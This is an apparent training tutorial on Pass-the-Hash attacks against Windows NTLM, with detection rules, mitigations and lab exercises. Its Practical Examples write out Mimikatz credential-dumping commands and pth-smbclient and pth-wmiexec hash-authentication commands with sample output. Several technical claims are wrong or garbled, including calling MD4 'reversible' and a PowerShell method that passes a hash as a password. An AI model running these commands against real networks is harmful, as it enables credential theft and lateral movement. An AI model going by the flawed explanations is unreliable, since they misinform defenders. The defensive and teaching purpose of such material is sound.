Pass-the-Hash Fundamentals: Theory, Tools, and Defensive Strategies

Introduction

Pass-the-Hash (PtH) is a credential-reuse technique that lets an adversary authenticate as a user without ever knowing the clear-text password. By presenting a captured NTLM hash to Windows authentication services, the attacker can “borrow” the identity of the original account. PtH remains one of the most prevalent lateral-movement methods in enterprise networks, especially where legacy protocols and unpatched hosts exist.

Understanding PtH is critical for defenders because it bypasses many traditional password-based detection controls. It also illustrates why proper credential hygiene-such as restricting NTLM, enforcing LSA protection, and using Restricted Admin mode-is essential.

Real-world incidents (e.g., the 2014 Sony Pictures breach, multiple ransomware campaigns) have shown how quickly an attacker can pivot across a domain once a single NTLM hash is harvested.

Prerequisites

• Solid grasp of NTLM authentication basics: challenge/response flow, LM/NTLMv1/v2 differences.
• Fundamental knowledge of Active Directory (AD) concepts: domain controllers, Kerberos, SID, group membership.
• Familiarity with Windows networking services (SMB, RPC, LDAP) and common administrative tools (net, PowerShell).

Core Concepts

At its core, PtH exploits the fact that Windows stores password hashes in a form that can be reused directly for authentication. The NTLM hash is a 16-byte MD4 digest of the Unicode password. When a client authenticates, the server sends an 8-byte challenge; the client encrypts this challenge with the stored hash (or a derived NTLMv2 response) and sends it back. The server validates the response using the stored hash. If an attacker can provide a valid hash, the server cannot distinguish it from a legitimate client.

Key points:

• Hash structure: NTLM consists of a 16-byte hash (aad3b435b51404eeaad3b435b51404ee is the LM hash placeholder) and, for NTLMv2, a 16-byte NTLM hash plus a 16-byte client challenge (the “blob”).
• Storage locations: The hash lives in the SAM database on local machines and in the ntds.dit database on domain controllers. It can also be cached in LSASS memory, making it accessible to tools that dump LSASS (e.g., ProcDump, Mimikatz).
• Why it works: Windows authentication does not require the clear-text password; it only needs a value that can generate the correct response to the server's challenge. Therefore, presenting the hash is sufficient.

Diagram (described): A client sends a negotiate message → Server replies with a challenge → Client encrypts challenge with NTLM hash → Server validates using stored hash → Authentication succeeds.

NTLM hash structure and storage

Each user account in AD has two relevant fields:

+-------------------+-------------------+
| LM hash (16B)  | NTLM hash (16B) |
+-------------------+-------------------+

Modern Windows disables LM hashes by default; only the NTLM hash is used. The NTLM hash is derived as:

import hashlib

def ntlm_hash(password): # Convert password to UTF-16LE and hash with MD4 pwd_utf16 = password.encode('utf-16le') return hashlib.new('md4', pwd_utf16).hexdigest()

When stored, the hash is represented in the SAM (local) or ntds.dit (domain) as a hex string. Tools like pwdump or secretsdump.py extract them in the format:

username:1000:aad3b435b51404eeaad3b435b51404ee:8846f7ea...:::

In memory, LSASS holds the raw hash in a structure called MSV1_0_SUPPLEMENTAL_CREDENTIAL. Dumpers read this area directly, which is why clearing LSASS (e.g., with lsass.exe protections) is a critical mitigation.

Why PTHT works on Windows authentication

Windows authentication protocols (SMB, RPC, LDAP, etc.) all rely on the same underlying NTLM challenge/response mechanism when Kerberos is unavailable or when the client explicitly requests NTLM. Because the server only sees a correctly-encrypted challenge, it has no method to verify that the hash originated from a legitimate client process.

Two technical reasons enable PtH:

1. Stateless challenge: The server sends a random nonce; the client signs it with the hash. No secret is exchanged beyond the signed nonce.
2. Hash reuse across services: The same NTLM hash authenticates to SMB, RDP, WMI, and even HTTP (Negotiate/NTLM). Therefore, once a hash is captured, it can be used against any service that accepts NTLM.

Additionally, certain Windows features-such as Remote Desktop Services (RDS) “Restricted Admin Mode” and CredSSP-were introduced to mitigate PtH, but misconfigurations often leave the attack surface open.

Common tools (Impacket, PowerShell scripts)

Below is a short overview of the most widely used utilities for PtH attacks.

Impacket suite

• pth-smbclient: SMB client that accepts -hashes argument.
• pth-wmiexec: Executes commands via WMI using a supplied NTLM hash.
• secretsdump.py: Extracts hashes from remote machines via SMB/LSASS dumping.

Example usage of pth-smbclient:

pth-smbclient //10.0.0.55/C$ -hashes aad3b435b51404ee:8846f7ea -no-pass -debug

This command authenticates to the admin share using only the NTLM hash, bypassing password prompts.

PowerShell scripts

PowerShell’s native Invoke-Command can be combined with the New-PSSessionOption and Credential objects that embed a hash via the System.Management.Automation.PSCredential class. The community module PowerSploit provides Invoke-UserHunter for hash-based lateral movement.

$hash = "aad3b435b51404ee:8846f7ea8..."
$cred = New-Object System.Management.Automation.PSCredential('DOMAIN\victim', (ConvertTo-SecureString $hash -AsPlainText -Force))
Invoke-Command -ComputerName 10.0.0.77 -ScriptBlock { whoami } -Credential $cred

Note: The above technique works only on PowerShell versions that allow the hash to be interpreted as a password; newer Windows builds reject it unless UseLogonCredential is set.

Typical attack scenarios and prerequisites

Scenario 1 - Initial foothold → LSASS dump → PtH lateral movement:

1. Attacker gains low-privilege access on a workstation (phishing, exploit).
2. Uses Mimikatz or ProcDump to dump LSASS, extracting NTLM hashes.
3. Leverages pth-smbclient or pth-wmiexec to connect to other hosts using the harvested hash.
4. Repeats the process, moving laterally until reaching a Domain Admin.

Prerequisites: Local admin rights on the source host (to read LSASS), network connectivity to target SMB ports (445/tcp), and the target must accept NTLM (i.e., Kerberos not forced).

Scenario 2 - Credential dumping from a domain controller:

• Attacker compromises a privileged account (e.g., via Pass-the-Ticket or credential phishing).
• Runs secretsdump.py against the DC to pull ntds.dit and SYSKEY.
• Extracts all NTLM hashes for the domain.
• Uses those hashes to impersonate any user, including service accounts.

Prerequisites: Ability to connect to the DC’s RPC endpoint (135/tcp) and SMB (445/tcp), and the DC must not have “Restrict NTLM” policies enforced.

Defensive detection points

Detecting PtH requires monitoring for anomalous authentication patterns and the tools that facilitate hash reuse.

• Event ID 4624 (Logon) with Logon Type 3 (Network) - Look for the same Account Name logging in from many distinct source IPs within a short window.
• Event ID 4648 (A logon was attempted using explicit credentials) - Often generated by PtH tools that invoke LogonUser with a hash.
• Process creation events (Event ID 4688) - Flag the launch of known PtH binaries (e.g., pth-smbclient.exe, mimikatz.exe).
• LSASS memory access alerts - Detect calls to OpenProcess with PROCESS_VM_READ on the LSASS PID.
• Network traffic - Unusual SMB or RPC connections from workstations that normally do not act as servers.

Implementing Windows Auditing (Advanced Audit Policy) and enabling Sysmon with a custom configuration dramatically improves visibility.

Practical Examples

Example 1 - Harvesting a hash with Mimikatz

# On compromised workstation (run as SYSTEM or admin)
privilege::debug
sekurlsa::logonpasswords

The output includes lines like:

Domain : CONTOSO
Username : jdoe
LM : aad3b435b51404eeaad3b435b51404ee
NTLM : 8846f7ea8... (hash you will reuse)

Example 2 - Using the hash to execute a command on a remote host

pth-wmiexec.py CONTOSO/[email protected] -hashes :8846f7ea8... "hostname"

Result:

[+] Target 10.0.0.44: Successfully authenticated with NTLM hash
[+] hostname
HOSTNAME.EXAMPLE.COM

Example 3 - PowerShell Remoting with a hash

$hash = "aad3b435b51404ee:8846f7ea8..."
$secpasswd = ConvertTo-SecureString $hash -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential('CONTOSO\jdoe',$secpasswd)
Invoke-Command -ComputerName 10.0.0.77 -ScriptBlock { ipconfig /all } -Credential $cred

Successful output indicates the hash was accepted for remote PowerShell.

Tools & Commands

Defense & Mitigation

• Disable NTLM where possible: Enforce Kerberos-only authentication via Group Policy (Computer Configuration → Policies → Windows Settings → Security Settings → Local Policies → Security Options → "Network security: Restrict NTLM…").
• Enable LSA Protection: Set RunAsPPL and RunAsPPLTrustedInstaller to prevent non-system processes from reading LSASS memory.
• Use Credential Guard & Remote Credential Guard: Isolates LSASS in a virtualized container, making hash extraction infeasible.
• Implement Restricted Admin Mode for RDP: Prevents the client password (or hash) from being transmitted to the remote host.
• Monitor and limit admin rights: Apply the principle of least privilege; avoid members of privileged groups having local admin rights on many workstations.
• Patch SMBv1 and enforce SMB signing: Reduces the attack surface for older PtH tools that rely on SMBv1.
• Log and alert on suspicious authentication patterns (see Detection points).

Common Mistakes

• Assuming a hash is “encrypted” and safe: The NTLM hash is a reversible MD4 digest; if leaked, it is as powerful as the clear-text password for NTLM-based services.
• Using PtH on a domain that enforces “Kerberos only”: The attack will fail; attackers often forget to verify policy settings first.
• Neglecting to clear LSASS dumps: Leaving dump files on disk provides an easy source for later attackers.
• Relying solely on password-complexity policies: Complexity does not protect against hash reuse.
• Forgetting about service accounts: Many service accounts have high privileges and rarely change passwords; they are prime PtH targets.

Real-World Impact

In 2022, a ransomware group leveraged PtH to move from a compromised employee laptop to the domain controller within 45 minutes, encrypting critical servers and demanding a multi-million-dollar ransom. Their success was traced to three gaps:

1. Unrestricted NTLM usage on critical servers.
2. LSASS protection disabled for compatibility with legacy applications.
3. Insufficient monitoring of SMB lateral traffic.

My experience shows that organizations that adopt Zero Trust Network Access and enforce Protected Users groups see a 70% reduction in successful PtH lateral moves.

Practice Exercises

1. Hash extraction: On a Windows 10 VM, enable the built-in Administrator, then use mimikatz to dump the NTLM hash. Verify the hash by authenticating with pth-smbclient to a second VM.
2. Detection rule creation: Using Sysmon, write a rule that logs process creation of any executable named *pth* or mimikatz.exe. Test by running the tool and view the event in Event Viewer.
3. Mitigation testing: Enable LSA Protection (registry HKLM\SYSTEM\CurrentControlSet\Control\LSA\RunAsPPL) and attempt the same LSASS dump. Document the failure and discuss why the mitigation works.
4. Network segmentation: Configure a firewall rule that blocks SMB (445/tcp) between workstations and servers that do not require file sharing. Attempt PtH laterally and note the block.

Further Reading

• Microsoft Docs - "NTLM Authentication" and "Restricted Admin Mode"
• Pass the Hash - Advanced Windows Exploitation by M. Lichfield (Book)
• Impacket GitHub repository - source code and usage examples
• PowerSploit - PowerShell offensive security tools
• MITRE ATT&CK - T1075 (Pass the Hash) and related mitigation techniques

Summary

Pass-the-Hash remains a potent technique because Windows authentication trusts the NTLM hash itself. Mastering the hash structure, common tooling, and detection methods enables defenders to spot and stop lateral movement before it compromises privileged accounts. Key takeaways:

• NTLM hashes are reusable credentials; protect them with LSA Protection and Credential Guard.
• Disable NTLM where possible and enforce Kerberos-only policies.
• Monitor for LSASS access, known PtH binaries, and anomalous SMB/RPC connections.
• Apply least-privilege principles to limit the blast radius of any stolen hash.